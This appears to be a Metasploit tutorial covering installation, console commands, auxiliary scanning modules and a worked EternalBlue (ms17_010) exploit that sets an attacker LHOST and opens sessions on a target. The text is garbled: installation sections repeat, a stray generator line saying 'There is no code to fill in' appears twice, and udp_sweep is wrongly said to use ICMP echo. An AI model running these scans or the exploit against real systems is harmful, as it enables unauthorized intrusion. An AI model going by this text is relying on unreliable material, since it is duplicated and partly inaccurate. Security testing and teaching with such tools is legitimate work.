Metasploit

Metasploit is a powerful penetration testing framework that provides a comprehensive platform for developing, testing, and executing exploits. It contains a large database of known vulnerabilities, exploits, and auxiliary modules that can be used for security testing and assessment.There is no code to fill in. The prefix contains only text, and there is no code snippet to complete. Metasploit is a powerful penetration testing framework that provides a comprehensive platform for developing, testing, and executing exploits. It contains a large database of known vulnerabilities, exploits, and auxiliary modules that can be used for security testing and assessment.There is no code to fill in. The prefix contains only text, and there is no code snippet to complete. On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Architecture

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Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

Getting Started

To update Metasploit to the latest version and launch the console:

msfupdate
msfconsole

On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

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Installation

On Kali Linux, Metasploit comes pre-installed. For other systems, you can install it using the following commands:

Debian/Ubuntu-based systems

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
./msfinstall

Getting Started

To update Metasploit to the latest version and launch the console:

msfupdate
msfconsole

Commonly used Metasploit (MSF) commands

Command	Description
msfconsole	Start the Metasploit console.
search [module_name]	Search for specific modules (exploits, payloads, etc.).
use [module_path]	Select a module to use (e.g., exploit, auxiliary).
show options	Display available options for the selected module.
set [option] [value]	Set a specific option for the module.
exploit	Execute the selected exploit against the target.
back	Go back to the previous menu or module.
info	Display information about the selected module.
sessions	List active sessions from exploited targets.
sessions -i [session_id]	Interact with a specific session.
run [module_name]	Execute an auxiliary module (instead of using exploit).
db_nmap [options]	Run Nmap scans and store results in the database.
setg [option] [value]	Set a global option for all modules.
exit	Exit the Metasploit console.
save	Save the current workspace.
jobs	List running jobs.
kill [job_id]	Terminate a specific job.
workspace [name]	Switch to a different workspace or create a new one.
workspace [name]	Switch to a different workspace or create a new one.
db_status	Check the status of the database connection.
db_import [file]	Import scan results from various formats into the database.
db_export [file]	Export database contents to a file.

Auxiliary Modules

Auxiliary modules in Metasploit are non-exploitation tools that perform various tasks such as scanning, enumeration, and information gathering. They are useful for reconnaissance and identifying vulnerabilities in a target system.

Example: Running an Auxiliary Module

Scenario: You want to use an auxiliary module to perform a port scan on a target IP address.

Start Metasploit:
```
msfconsole
```
Search for available auxiliary modules:
```
search auxiliary
```
Choose a specific module, e.g., TCP port scanner:
```
use auxiliary/scanner/portscan/tcp
```
Display module options:
```
show options
```
Set the target IP address:
```
set RHOSTS 192.168.1.1
```
Set the port range (optional):
```
set PORTS 1-1000
```
Run the module:
```
run
```

After executing the run command, Metasploit will perform the TCP port scan on the specified target and display the results in the console.

Here are a few examples of commonly used auxiliary modules in Metasploit, along with descriptions of what they do:

Next Examples

These examples demonstrate how to use different auxiliary modules in Metasploit for tasks such as scanning for open ports, detecting versions, performing DNS queries, and discovering live hosts on a network. Each module usually requires specifying the target (using RHOSTS or similar options) before running the command to execute the desired task.

TCP Port Scanner

Module Path: auxiliary/scanner/portscan/tcp
Description: Scans a range of IP addresses for open TCP ports.

Usage:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24      # Set the target network
set PORTS 1-1000                # Specify the port range
run                             # Execute the port scan

HTTP Version Detection

Module Path: auxiliary/scanner/http/http_version
Description: Determines the HTTP version used by web servers.

Usage:

use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.1        # Set the target IP
set RPORT 80                  # Specify the port (if not 80)
run                           # Execute the scan

DNS Zone Transfer
- Module Path: auxiliary/scanner/dns/dns_zone_transfer
- Description: Attempts to perform a zone transfer on a DNS server to obtain information about the domain.
- Usage:
```
use auxiliary/scanner/dns/dns_zone_transfer
set RHOSTS example.com         # Set the target domain
run                             # Execute zone transfer
```

SMB Version Detection

Module Path: auxiliary/scanner/smb/smb_version
Description: Detects the version of SMB running on a target.

Usage:

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.1        # Set the target IP
run                             # Execute the version detection

Ping Sweep

Module Path: auxiliary/scanner/discover/udp_sweep
Description: Uses ICMP echo requests to discover live hosts on a network.

Usage:

use auxiliary/scanner/discover/udp_sweep
set RHOSTS 192.168.1.0/24     # Set the target subnet
run                             # Execute the ping sweep

In Metasploit, sessions are created when you successfully exploit a target, often using an exploit module rather than an auxiliary module. Below is a brief overview of how to establish a session and work with exploits to create one.

Example of Establishing a Session with an Exploit Module

Choosing an Exploit Module
- Example Module: Let’s say you want to exploit a known vulnerability in an application running on a target machine.
- Module Path: exploit/windows/smb/ms17_010_eternalblue
- Usage:
```
use exploit/windows/smb/ms17_010_eternalblue
```

Show Options and Set Targets

Display module options:

show options

Set the target IP address:

set RHOSTS 192.168.1.100  # IP of the target machine
set LHOST 192.168.1.50    # Your local IP (attacker's machine)

Run the Exploit
- Execute the exploit to attempt to gain a session:
```
exploit
```
Interact with the Session
- List active sessions: Once the exploit is successful, a session will be created.
```
sessions
```
- Interact with the session: Choose to interact with the newly created session.
```
sessions -i 1  # Replace "1" with the session ID number you want to interact with.
```

Auxiliary modules are typically used for scanning or gathering information and do not create sessions, while exploit modules are designed to take advantage of vulnerabilities to establish a session on the target machine. Using the right module is crucial for successful exploitation and session management.

Command	Description
sessions	List all active sessions.
sessions -i [session_id]	Interact with a specific session based on its ID.
sessions -l	List sessions with detailed information.
sessions -k [session_id]	Kill a specific session.

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